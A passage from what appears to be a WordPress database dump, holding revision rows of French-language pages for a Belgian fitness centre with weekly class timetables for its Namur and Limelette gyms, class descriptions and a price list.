rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-11-03 09:16:40', '2013-11-03 09:16:40', '', 11, 'http://www2.crosstrainingcenter.be/11-revision-v1/', 0, 'revision', '', 0);
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(408, 1, '2013-11-03 09:17:43', '2013-11-03 09:17:43', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n&lt;h1&gt;&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances/\&quot;&gt;Namur&lt;/a&gt;&lt;/h1&gt;\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n&lt;h1&gt;Limelette&lt;/h1&gt;\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '383-revision-v1', '', '', '2013-11-03 09:17:43', '2013-11-03 09:17:43', '', 383, 'http://www2.crosstrainingcenter.be/383-revision-v1/', 0, 'revision', '', 0),
(410, 1, '2013-11-03 09:28:18', '2013-11-03 09:28:18', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;Séance de la salle de Limelette :&lt;/h1&gt;\r\n&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '383-revision-v1', '', '', '2013-11-03 09:28:18', '2013-11-03 09:28:18', '', 383, 'http://www2.crosstrainingcenter.be/383-revision-v1/', 0, 'revision', '', 0),
(411, 1, '2013-11-03 09:28:46', '2013-11-03 09:28:46', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt; Séances de la salle de Namur :&lt;/h1&gt;\r\n&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en 